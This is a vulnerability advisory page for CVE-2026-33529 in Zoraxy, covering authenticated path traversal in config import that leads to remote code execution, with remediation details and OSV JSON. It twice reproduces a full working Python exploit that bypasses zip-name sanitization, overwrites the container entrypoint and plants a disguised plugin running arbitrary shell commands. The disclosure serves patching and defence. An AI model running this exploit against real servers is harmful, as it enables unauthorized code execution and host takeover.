CVE-2026-33529: Zoraxy Remote Code Execution Vulnerability
LOW
Advisory Identifier:
GHSA-7pq3-326h-f8q9
Advisory Summary
CVE-2026-33529 is a LOW (CVSS 3.3) remote code execution vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Zoraxy libraries in the Go ecosystem. The issue involves authenticated path traversal in config import leads to rce. Remediation is available by upgrading affected packages to version 3.3.2.
CVE-2026-33529 at a Glance
CVE Identifier
CVE-2026-33529
GHSA Identifier
GHSA-7pq3-326h-f8q9
Severity
LOW
CVSS v3.1 Base Score
3.3
CWE Classification
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product
Zoraxy
Package Ecosystem
Go
Published Date
Last Updated
Security Impact
CVSS: 3.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N).
Attack Vector
Network (AV:N)
Attack Complexity
High (AC:H)
Privileges Required
High (PR:H)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
Low (C:L)
Integrity
Low (I:L)
Availability
None (A:N)
How to Fix CVE-2026-33529
To remediate this vulnerability, upgrade all affected Zoraxy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
github.com/tobychui/zoraxy
fixed: 3.3.2
Upgrade github.com/tobychui/zoraxy to 3.3.2
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/tobychui/zoraxyHow to Check if You Are Affected
To determine whether your application is affected by CVE-2026-33529, inspect your project dependencies for Zoraxy:
inspect dependencies for github.com/tobychui/zoraxyAnalyze the terminal output to locate any version of Zoraxy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.3.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Zoraxy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
# Authenticated Path Traversal to RCE via Configuration Import
## Summary
An authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin.
## Details
The vulnerable endpoint is `POST /api/conf/import`.
The zip entry names sanitization is bypassed by embedding `../` inside a longer sequence so the replacement produces a new `../`:
```
conf/..././..././entrypoint.py
→ ReplaceAll("../", "") (match found at index 1 of "..././", leaving "../")
→ conf/../../entrypoint.py ← passes HasPrefix check, escapes conf/
```
Using this endpoint, a new plugin can be written (persistent) and the entrypoint (non-persistent) can be edited to add execution permissions to the plugin.
When the database is provided in the import, the program should exit to trigger a container restart (which does not happen because the entrypoint does not monitor the Zoraxy exit code).
As a result, the container was manually restarted for the PoC to work.
## PoC
```python
import argparse
import io
import json
import re
import sys
import zipfile
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
INTRO_SPEC_JSON = json.dumps({
"id": "com.attacker.evil",
"name": "System Updater",
"author": "System",
"author_contact": "",
"description": "Internal system update module",
"url": "",
"ui_path": "/ui",
"type": 1,
"version_major": 1,
"version_minor": 0,
"version_patch": 0,
"permitted_api_endpoints": [],
})
LINUX_START_SH = """\
#!/bin/sh
INTRO_SPEC='{intro_spec}'
run_payload() {{
{payload_lines}
}}
case "$1" in
-introspect)
run_payload
printf '%s\\n' "$INTRO_SPEC"
exit 0
;;
-configure=*)
run_payload
while true; do sleep 3600; done
;;
esac
"""
MALICIOUS_ENTRYPOINT_PY = """\
#!/usr/bin/env python3
import os, subprocess, signal, sys, time
try:
subprocess.run({cmd_list}, shell=False)
except Exception:
pass
try:
os.chmod("/opt/zoraxy/plugin/evil/start.sh", 0o755)
except Exception:
pass
zoraxy_proc = None
zerotier_proc = None
def getenv(key, default=None):
return os.environ.get(key, default)
def run(command):
try:
subprocess.run(command, check=True)
except subprocess.CalledProcessError as e:
print(f"Command failed: {command} - {e}")
sys.exit(1)
def popen(command):
proc = subprocess.Popen(command)
time.sleep(1)
if proc.poll() is not None:
print(f"{command} exited early with code {proc.returncode}")
raise RuntimeError(f"Failed to start {command}")
return proc
def cleanup(_signum, _frame):
global zoraxy_proc, zerotier_proc
if zoraxy_proc and zoraxy_proc.poll() is None:
zoraxy_proc.terminate()
if zerotier_proc and zerotier_proc.poll() is None:
zerotier_proc.terminate()
if zoraxy_proc:
try:
zoraxy_proc.wait(timeout=8)
except subprocess.TimeoutExpired:
zoraxy_proc.kill()
zoraxy_proc.wait()
if zerotier_proc:
try:
zerotier_proc.wait(timeout=8)
except subprocess.TimeoutExpired:
zerotier_proc.kill()
zerotier_proc.wait()
try:
os.unlink("/var/lib/zerotier-one")
except Exception:
pass
sys.exit(0)
def start_zerotier():
global zerotier_proc
config_dir = "/opt/zoraxy/config/zerotier/"
zt_path = "/var/lib/zerotier-one"
os.makedirs(config_dir, exist_ok=True)
try:
os.symlink(config_dir, zt_path, target_is_directory=True)
except FileExistsError:
pass
zerotier_proc = popen(["zerotier-one"])
def start_zoraxy():
global zoraxy_proc
zoraxy_args = [
"zoraxy",
f"-autorenew={getenv('AUTORENEW', '86400')}",
f"-cfgupgrade={getenv('CFGUPGRADE', 'true')}",
f"-db={getenv('DB', 'auto')}",
f"-docker={getenv('DOCKER', 'true')}",
f"-earlyrenew={getenv('EARLYRENEW', '30')}",
f"-enablelog={getenv('ENABLELOG', 'true')}",
f"-fastgeoip={getenv('FASTGEOIP', 'false')}",
f"-mdns={getenv('MDNS', 'true')}",
f"-mdnsname={getenv('MDNSNAME', \"''\")}",
f"-noauth={getenv('NOAUTH', 'false')}",
f"-plugin={getenv('PLUGIN', '/opt/zoraxy/plugin/')}",
f"-port=:{getenv('PORT', '8000')}",
f"-sshlb={getenv('SSHLB', 'false')}",
f"-version={getenv('VERSION', 'false')}",
f"-webroot={getenv('WEBROOT', './www')}",
]
zoraxy_proc = popen(zoraxy_args)
def main():
signal.signal(signal.SIGTERM, cleanup)
signal.signal(signal.SIGINT, cleanup)
run(["update-ca-certificates"])
if getenv("UPDATE_GEOIP", "false").lower() == "true":
run(["zoraxy", "-update_geoip=true"])
os.chdir("/opt/zoraxy/config/")
if getenv("ZEROTIER", "false") == "true":
start_zerotier()
start_zoraxy()
signal.pause()
if __name__ == "__main__":
main()
"""
def get_csrf(host: str, session: requests.Session) -> tuple:
r = session.get(f"{host}/login.html", timeout=10, verify=False)
m = re.search(r'<meta[^>]+name=["\']zoraxy\.csrf\.Token["\'][^>]+content=["\']([^"\']+)["\']', r.text)
if not m:
m = re.search(r'<meta[^>]+content=["\']([^"\']+)["\'][^>]+name=["\']zoraxy\.csrf\.Token["\']', r.text)
token = m.group(1) if m else r.headers.get("X-CSRF-Token", "")
return token, f"{host}/login.html"
def authenticate(host: str, username: str, password: str,
session: requests.Session) -> bool:
csrf, referer = get_csrf(host, session)
print(f" CSRF token -> {csrf!r}")
r = session.post(
f"{host}/api/auth/login",
data={"username": username, "password": password},
headers={"X-CSRF-Token": csrf, "Referer": referer},
timeout=10, verify=False,
)
print(f" Login -> HTTP {r.status_code} {r.text[:120]!r}")
return r.status_code == 200 and r.text.strip().strip('"').lower() in ("ok", "true")
def upload_zip(host: str, session: requests.Session, zip_bytes: bytes) -> tuple:
csrf, referer = get_csrf(host, session)
r = session.post(
f"{host}/api/conf/import",
files={"file": ("backup.zip", zip_bytes, "application/zip")},
headers={"X-CSRF-Token": csrf, "Referer": referer},
timeout=30, verify=False,
)
return r.status_code, r.text
def export_config(host: str, session: requests.Session) -> bytes | None:
r = session.get(
f"{host}/api/conf/export?includeDB=true",
timeout=60, verify=False,
)
if r.status_code == 200 and len(r.content) > 100:
return r.content
return None
def build_zip(cmd: str, export_zip: bytes) -> bytes:
traversal_ep = "conf/..././..././entrypoint.py"
traversal_sh = "conf/..././..././plugin/evil/start.sh"
payload_lines = "\n".join(f" {line}" for line in cmd.splitlines()) or " id > /tmp/pwned.txt"
start_sh = LINUX_START_SH.format(
intro_spec=INTRO_SPEC_JSON.replace("'", "'\\''"),
payload_lines=payload_lines,
)
malicious_ep = MALICIOUS_ENTRYPOINT_PY.replace("{cmd_list}", repr(["sh", "-c", cmd]))
buf = io.BytesIO()
with zipfile.ZipFile(io.BytesIO(export_zip), "r") as src:
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
for item in src.infolist():
zf.writestr(item, src.read(item.filename))
zf.writestr(zipfile.ZipInfo(traversal_ep), malicious_ep.encode())
zf.writestr(zipfile.ZipInfo(traversal_sh), start_sh.encode())
buf.seek(0)
return buf.read()
def main() -> None:
parser = argparse.ArgumentParser(
description="Zoraxy Authenticated RCE via Entrypoint Overwrite + Plugin Zip-Slip",
)
parser.add_argument("--host", help="Target, e.g. http://192.168.1.10:8000")
parser.add_argument("--user", default="admin")
parser.add_argument("--pass", dest="password", default=None)
parser.add_argument("--cmd", default="id > /tmp/pwned.txt",
help="Shell command to embed in the payload")
args = parser.parse_args()
if not args.host or not args.password:
parser.error("--host and --pass are required")
host = args.host.rstrip("/")
print(f"\n[1] Authenticating as '{args.user}' at {host} ...")
session = requests.Session()
if not authenticate(host, args.user, args.password, session):
print("[-] Authentication failed.")
sys.exit(1)
print("[+] Authenticated.")
print(f"\n[2] Exporting live config ...")
export_zip = export_config(host, session)
if not export_zip:
print("[-] Config export failed.")
sys.exit(1)
print("\n[3] Building malicious zip ...")
zip_bytes = build_zip(args.cmd, export_zip)
print(f"[+] Zip size: {len(zip_bytes):,} bytes")
print(f"\n[4] Uploading via POST {host}/api/conf/import ...")
code, body = upload_zip(host, session, zip_bytes)
print(f" HTTP {code} {body[:200]!r}")
if code != 200:
print("[-] Upload failed.")
sys.exit(1)
print("[+] Files written")
if __name__ == "__main__":
main()
```
## Impact
Arbitrary file write leads to RCE by an authenticated user. Given that the Docker socket might be mapped, this issue can lead to full host takeover.
CVE-2026-33529 Affected Zoraxy Versions
1 component(s)
Fixed Versions:
3.3.2
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/tobychui/zoraxy
|
Go |
< 3.3.2
|
3.3.2
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/tobychui/zoraxy/security/advisories/GHSA-7pq3-326h-f8q9
NVD — CVE-2026-33529
NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-33529
Security Fix Commit
FIX COMMIT
https://github.com/tobychui/zoraxy/commit/69ac755aeec5d15ba4c62099f7f1ed77a855b40b
Zoraxy Source Repository
REPOSITORY
https://github.com/tobychui/zoraxy
Zoraxy Release
RELEASE
https://github.com/tobychui/zoraxy/releases/tag/v3.3.2
Frequently Asked Questions
What is CVE-2026-33529?
CVE-2026-33529 is a security vulnerability in Zoraxy involving Authenticated Path Traversal in Config Import leads to RCE under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Zoraxy versions are affected?
Affected versions include releases prior to 3.3.2 across affected packages: github.com/tobychui/zoraxy.
What version fixes CVE-2026-33529?
Upgrading to 3.3.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/tobychui/zoraxy affected?
Yes, github.com/tobychui/zoraxy is affected in releases prior to 3.3.2. Upgrade your dependency to 3.3.2 or later.
What is the CVSS score of CVE-2026-33529?
CVE-2026-33529 has a CVSS v3.1 base score of 3.3 (LOW) with vector string CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2026-33529?
CVE-2026-33529 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2026-33529?
Run the dependency tree command: 'inspect dependencies for github.com/tobychui/zoraxy'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-7pq3-326h-f8q9",
"modified" : "2026-03-27T21:24:56Z",
"published" : "2026-03-25T20:04:44Z",
"aliases" : [ "CVE-2026-33529" ],
"summary" : "Zoraxy: Authenticated Path Traversal in Config Import leads to RCE",
"details" : "# Authenticated Path Traversal to RCE via Configuration Import\n\n## Summary\n\nAn authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin.\n\n## Details\n\nThe vulnerable endpoint is `POST /api/conf/import`.\n\nThe zip entry names sanitization is bypassed by embedding `../` inside a longer sequence so the replacement produces a new `../`:\n\n```\nconf/..././..././entrypoint.py\n → ReplaceAll(\"../\", \"\") (match found at index 1 of \"..././\", leaving \"../\")\n → conf/../../entrypoint.py ← passes HasPrefix check, escapes conf/\n```\n\nUsing this endpoint, a new plugin can be written (persistent) and the entrypoint (non-persistent) can be edited to add execution permissions to the plugin.\nWhen the database is provided in the import, the program should exit to trigger a container restart (which does not happen because the entrypoint does not monitor the Zoraxy exit code).\nAs a result, the container was manually restarted for the PoC to work.\n\n## PoC\n\n```python\nimport argparse\nimport io\nimport json\nimport re\nimport sys\nimport zipfile\n\nimport requests\nimport urllib3\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nINTRO_SPEC_JSON = json.dumps({\n \"id\": \"com.attacker.evil\",\n \"name\": \"System Updater\",\n \"author\": \"System\",\n \"author_contact\": \"\",\n \"description\": \"Internal system update module\",\n \"url\": \"\",\n \"ui_path\": \"/ui\",\n \"type\": 1,\n \"version_major\": 1,\n \"version_minor\": 0,\n \"version_patch\": 0,\n \"permitted_api_endpoints\": [],\n})\n\nLINUX_START_SH = \"\"\"\\\n#!/bin/sh\nINTRO_SPEC='{intro_spec}'\n\nrun_payload() {{\n{payload_lines}\n}}\n\ncase \"$1\" in\n -introspect)\n run_payload\n printf '%s\\\\n' \"$INTRO_SPEC\"\n exit 0\n ;;\n -configure=*)\n run_payload\n while true; do sleep 3600; done\n ;;\nesac\n\"\"\"\n\nMALICIOUS_ENTRYPOINT_PY = \"\"\"\\\n#!/usr/bin/env python3\nimport os, subprocess, signal, sys, time\n\ntry:\n subprocess.run({cmd_list}, shell=False)\nexcept Exception:\n pass\n\ntry:\n os.chmod(\"/opt/zoraxy/plugin/evil/start.sh\", 0o755)\nexcept Exception:\n pass\n\nzoraxy_proc = None\nzerotier_proc = None\n\ndef getenv(key, default=None):\n return os.environ.get(key, default)\n\ndef run(command):\n try:\n subprocess.run(command, check=True)\n except subprocess.CalledProcessError as e:\n print(f\"Command failed: {command} - {e}\")\n sys.exit(1)\n\ndef popen(command):\n proc = subprocess.Popen(command)\n time.sleep(1)\n if proc.poll() is not None:\n print(f\"{command} exited early with code {proc.returncode}\")\n raise RuntimeError(f\"Failed to start {command}\")\n return proc\n\ndef cleanup(_signum, _frame):\n global zoraxy_proc, zerotier_proc\n if zoraxy_proc and zoraxy_proc.poll() is None:\n zoraxy_proc.terminate()\n if zerotier_proc and zerotier_proc.poll() is None:\n zerotier_proc.terminate()\n if zoraxy_proc:\n try:\n zoraxy_proc.wait(timeout=8)\n except subprocess.TimeoutExpired:\n zoraxy_proc.kill()\n zoraxy_proc.wait()\n if zerotier_proc:\n try:\n zerotier_proc.wait(timeout=8)\n except subprocess.TimeoutExpired:\n zerotier_proc.kill()\n zerotier_proc.wait()\n try:\n os.unlink(\"/var/lib/zerotier-one\")\n except Exception:\n pass\n sys.exit(0)\n\ndef start_zerotier():\n global zerotier_proc\n config_dir = \"/opt/zoraxy/config/zerotier/\"\n zt_path = \"/var/lib/zerotier-one\"\n os.makedirs(config_dir, exist_ok=True)\n try:\n os.symlink(config_dir, zt_path, target_is_directory=True)\n except FileExistsError:\n pass\n zerotier_proc = popen([\"zerotier-one\"])\n\ndef start_zoraxy():\n global zoraxy_proc\n zoraxy_args = [\n \"zoraxy\",\n f\"-autorenew={getenv('AUTORENEW', '86400')}\",\n f\"-cfgupgrade={getenv('CFGUPGRADE', 'true')}\",\n f\"-db={getenv('DB', 'auto')}\",\n f\"-docker={getenv('DOCKER', 'true')}\",\n f\"-earlyrenew={getenv('EARLYRENEW', '30')}\",\n f\"-enablelog={getenv('ENABLELOG', 'true')}\",\n f\"-fastgeoip={getenv('FASTGEOIP', 'false')}\",\n f\"-mdns={getenv('MDNS', 'true')}\",\n f\"-mdnsname={getenv('MDNSNAME', \\\"''\\\")}\",\n f\"-noauth={getenv('NOAUTH', 'false')}\",\n f\"-plugin={getenv('PLUGIN', '/opt/zoraxy/plugin/')}\",\n f\"-port=:{getenv('PORT', '8000')}\",\n f\"-sshlb={getenv('SSHLB', 'false')}\",\n f\"-version={getenv('VERSION', 'false')}\",\n f\"-webroot={getenv('WEBROOT', './www')}\",\n ]\n zoraxy_proc = popen(zoraxy_args)\n\ndef main():\n signal.signal(signal.SIGTERM, cleanup)\n signal.signal(signal.SIGINT, cleanup)\n run([\"update-ca-certificates\"])\n if getenv(\"UPDATE_GEOIP\", \"false\").lower() == \"true\":\n run([\"zoraxy\", \"-update_geoip=true\"])\n os.chdir(\"/opt/zoraxy/config/\")\n if getenv(\"ZEROTIER\", \"false\") == \"true\":\n start_zerotier()\n start_zoraxy()\n signal.pause()\n\nif __name__ == \"__main__\":\n main()\n\"\"\"\n\n\ndef get_csrf(host: str, session: requests.Session) -> tuple:\n r = session.get(f\"{host}/login.html\", timeout=10, verify=False)\n m = re.search(r'<meta[^>]+name=[\"\\']zoraxy\\.csrf\\.Token[\"\\'][^>]+content=[\"\\']([^\"\\']+)[\"\\']', r.text)\n if not m:\n m = re.search(r'<meta[^>]+content=[\"\\']([^\"\\']+)[\"\\'][^>]+name=[\"\\']zoraxy\\.csrf\\.Token[\"\\']', r.text)\n token = m.group(1) if m else r.headers.get(\"X-CSRF-Token\", \"\")\n return token, f\"{host}/login.html\"\n\n\ndef authenticate(host: str, username: str, password: str,\n session: requests.Session) -> bool:\n csrf, referer = get_csrf(host, session)\n print(f\" CSRF token -> {csrf!r}\")\n r = session.post(\n f\"{host}/api/auth/login\",\n data={\"username\": username, \"password\": password},\n headers={\"X-CSRF-Token\": csrf, \"Referer\": referer},\n timeout=10, verify=False,\n )\n print(f\" Login -> HTTP {r.status_code} {r.text[:120]!r}\")\n return r.status_code == 200 and r.text.strip().strip('\"').lower() in (\"ok\", \"true\")\n\n\ndef upload_zip(host: str, session: requests.Session, zip_bytes: bytes) -> tuple:\n csrf, referer = get_csrf(host, session)\n r = session.post(\n f\"{host}/api/conf/import\",\n files={\"file\": (\"backup.zip\", zip_bytes, \"application/zip\")},\n headers={\"X-CSRF-Token\": csrf, \"Referer\": referer},\n timeout=30, verify=False,\n )\n return r.status_code, r.text\n\n\ndef export_config(host: str, session: requests.Session) -> bytes | None:\n r = session.get(\n f\"{host}/api/conf/export?includeDB=true\",\n timeout=60, verify=False,\n )\n if r.status_code == 200 and len(r.content) > 100:\n return r.content\n return None\n\n\ndef build_zip(cmd: str, export_zip: bytes) -> bytes:\n traversal_ep = \"conf/..././..././entrypoint.py\"\n traversal_sh = \"conf/..././..././plugin/evil/start.sh\"\n\n payload_lines = \"\\n\".join(f\" {line}\" for line in cmd.splitlines()) or \" id > /tmp/pwned.txt\"\n start_sh = LINUX_START_SH.format(\n intro_spec=INTRO_SPEC_JSON.replace(\"'\", \"'\\\\''\"),\n payload_lines=payload_lines,\n )\n malicious_ep = MALICIOUS_ENTRYPOINT_PY.replace(\"{cmd_list}\", repr([\"sh\", \"-c\", cmd]))\n\n buf = io.BytesIO()\n with zipfile.ZipFile(io.BytesIO(export_zip), \"r\") as src:\n with zipfile.ZipFile(buf, \"w\", zipfile.ZIP_DEFLATED) as zf:\n for item in src.infolist():\n zf.writestr(item, src.read(item.filename))\n zf.writestr(zipfile.ZipInfo(traversal_ep), malicious_ep.encode())\n zf.writestr(zipfile.ZipInfo(traversal_sh), start_sh.encode())\n buf.seek(0)\n return buf.read()\n\n\ndef main() -> None:\n parser = argparse.ArgumentParser(\n description=\"Zoraxy Authenticated RCE via Entrypoint Overwrite + Plugin Zip-Slip\",\n )\n parser.add_argument(\"--host\", help=\"Target, e.g. http://192.168.1.10:8000\")\n parser.add_argument(\"--user\", default=\"admin\")\n parser.add_argument(\"--pass\", dest=\"password\", default=None)\n parser.add_argument(\"--cmd\", default=\"id > /tmp/pwned.txt\",\n help=\"Shell command to embed in the payload\")\n args = parser.parse_args()\n\n if not args.host or not args.password:\n parser.error(\"--host and --pass are required\")\n host = args.host.rstrip(\"/\")\n\n print(f\"\\n[1] Authenticating as '{args.user}' at {host} ...\")\n session = requests.Session()\n if not authenticate(host, args.user, args.password, session):\n print(\"[-] Authentication failed.\")\n sys.exit(1)\n print(\"[+] Authenticated.\")\n\n print(f\"\\n[2] Exporting live config ...\")\n export_zip = export_config(host, session)\n if not export_zip:\n print(\"[-] Config export failed.\")\n sys.exit(1)\n print(\"\\n[3] Building malicious zip ...\")\n zip_bytes = build_zip(args.cmd, export_zip)\n print(f\"[+] Zip size: {len(zip_bytes):,} bytes\")\n\n print(f\"\\n[4] Uploading via POST {host}/api/conf/import ...\")\n code, body = upload_zip(host, session, zip_bytes)\n print(f\" HTTP {code} {body[:200]!r}\")\n if code != 200:\n print(\"[-] Upload failed.\")\n sys.exit(1)\n print(\"[+] Files written\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n## Impact\n\nArbitrary file write leads to RCE by an authenticated user. Given that the Docker socket might be mapped, this issue can lead to full host takeover.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/tobychui/zoraxy"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.3.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/tobychui/zoraxy/security/advisories/GHSA-7pq3-326h-f8q9"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33529"
}, {
"type" : "WEB",
"url" : "https://github.com/tobychui/zoraxy/commit/69ac755aeec5d15ba4c62099f7f1ed77a855b40b"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/tobychui/zoraxy"
}, {
"type" : "WEB",
"url" : "https://github.com/tobychui/zoraxy/releases/tag/v3.3.2"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-25T20:04:44Z",
"nvd_published_at" : "2026-03-26T20:16:15Z"
}
}